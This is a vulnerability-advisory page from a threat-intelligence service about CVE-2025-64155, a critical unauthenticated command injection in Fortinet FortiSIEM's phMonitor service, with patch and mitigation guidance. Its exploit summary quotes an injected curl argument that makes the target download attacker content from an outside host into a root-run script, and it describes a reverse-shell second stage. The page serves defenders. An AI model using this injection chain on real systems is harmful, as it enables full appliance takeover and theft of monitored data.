Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
CriticalPublic exploit

Unauthenticated OS Command Injection in Fortinet FortiSIEM phMonitor

IdentifiersCVE-2025-64155CWE-78· Improper Neutralization of Special…Also known asfg_ir_25_772

CVE-2025-64155 is a critical OS command injection vulnerability in Fortinet FortiSIEM affecting 7.4.0, 7.3.0 through 7.3.4, 7.1.0 through 7.1.8, 7.0.0 through 7.0.4, and 6.7.0 through 6.7.10. The flaw is in the phMonitor service exposed on TCP port 7900 and is caused by improper neutralization of special elements used in OS commands. Available reporting indicates unauthenticated phMonitor handlers can be reached remotely via crafted TCP requests, and attacker-controlled input can reach shell-invoked logic associated with storage configuration handling, including an argument-injection path into a curl invocation. Public technical analysis describes exploitation leading first to arbitrary file write in the context of the admin user and then, by overwriting a root-executed script such as /opt/charting/redishb.sh, escalation to root and full appliance compromise. Fortinet states the issue affects Super and Worker nodes; Collector nodes, FortiSIEM Cloud, and FortiSIEM 7.5 are reported as not affected.

Share:
For your environment

Are you exposed to this one?

Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.

ANALYST BRIEF

Impact, mitigation & remediation

What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation allows unauthenticated remote execution of unauthorized commands/code on affected FortiSIEM appliances. Public reporting indicates attackers can obtain code execution as the admin user and then escalate to root, resulting in full system compromise. Consequences include complete loss of confidentiality, integrity, and availability of the appliance, theft of credentials and monitored data, log tampering, persistence, service disruption, and use of the FortiSIEM system as a pivot point for lateral movement into internal networks. Multiple sources in the provided content report proof-of-concept availability and in-the-wild exploitation shortly after disclosure.

Mitigation

If you can’t patch tonight, do this now.

If immediate patching is not possible, restrict network access to the phMonitor service on TCP/7900 to trusted management networks only, and ensure FortiSIEM is not directly exposed to the public internet. Segment Super and Worker nodes behind firewalls or VPN-controlled administrative access. Increase monitoring for anomalous traffic to TCP/7900 and review FortiSIEM logs, especially /opt/phoenix/log/phoenix.logs or related phoenix log files for suspicious PHL_ERROR entries, attacker-supplied URLs, unexpected file-write paths, or storage configuration abuse. Review root-executed cron targets and writable scripts such as /opt/charting/redishb.sh for tampering.

Remediation

Patch, then assume compromise.

Upgrade to a fixed FortiSIEM release as advised by Fortinet. Reported fixed versions are 7.4.1 or later, 7.3.5 or later, 7.2.7 or later, and 7.1.9 or later. For 7.0.x and 6.7.x, Fortinet advises migrating to a supported fixed release rather than remaining on those branches. Prioritize remediation on exposed Super and Worker nodes. Because exploitation may yield full appliance compromise, patching alone is insufficient if exposure or suspicious activity existed; perform compromise assessment, review phMonitor and system logs, inspect cron/script integrity, remove unauthorized accounts or persistence, and rotate credentials/secrets that may have been accessible from the appliance.
PUBLIC EXPLOITS

Exploits

1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (4 hidden).

VALID 1 / 5 TOTALView more in app
CVE-2025-64155MaturityPoCVerified exploit

Repository contains a working PoC for CVE-2025-64155 (Fortinet FortiSIEM) achieving argument injection → arbitrary file write → root RCE. Structure: - CVE-2025-64155.py: Main exploit. Opens a TLS socket to the FortiSIEM Phoenix Monitor service (default port 7900) and sends a crafted binary-framed message containing an XML <TEST_STORAGE type="elastic"> payload. The key exploit primitive is injection in <cluster_url>, appending extra arguments (e.g., “--next -o /opt/charting/redishb.sh http://10.0.40.83:9200”) to coerce the target’s internal URL-testing script to fetch attacker content and write it to a chosen path. - serve.py: Minimal HTTP server on port 9200 that responds only to GET /_cluster/health?pretty with a bash script (example reverse shell). This is the second-stage content the target is tricked into downloading. - README.md: Usage notes and cautions. Describes editing serve.py payload and cluster_url, running the web server, then running the exploit, and waiting ~1 minute for a cron job to execute the written script. Capabilities: - Remote network exploitation over TLS to a service endpoint. - Forces the target to make an outbound HTTP request to attacker infrastructure. - Writes a script to /opt/charting/redishb.sh and relies on scheduled execution for root code execution (example reverse shell to 10.0.40.83:4447). Overall, this is an operational PoC with a hardcoded example payload and endpoints, intended for controlled testing rather than a generalized framework module.

horizon3aiDisclosed Jan 13, 2026pythonnetwork (TLS-wrapped TCP) to Phoenix Monitor service; secondary HTTP callback to attacker server; reverse shell egress over TCP
EXPOSURE SURFACE

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
FortinetFortisiemapplication

Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, which detections to deploy, and what to do tonight.
Exposure mapping

Query your assets running an affected version, and investigate the blast radius.

Threat actor evidence2

Every observed campaign linking this CVE to a named adversary.

Associated malware

Malware families riding this exploit, with evidence and IOCs.

Detection signatures1

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

Vendor-by-vendor mapping

Cross-references every affected SKU, including bundled OEM variants.

Social activity77

Community discussion across Reddit, Mastodon, and other social sources.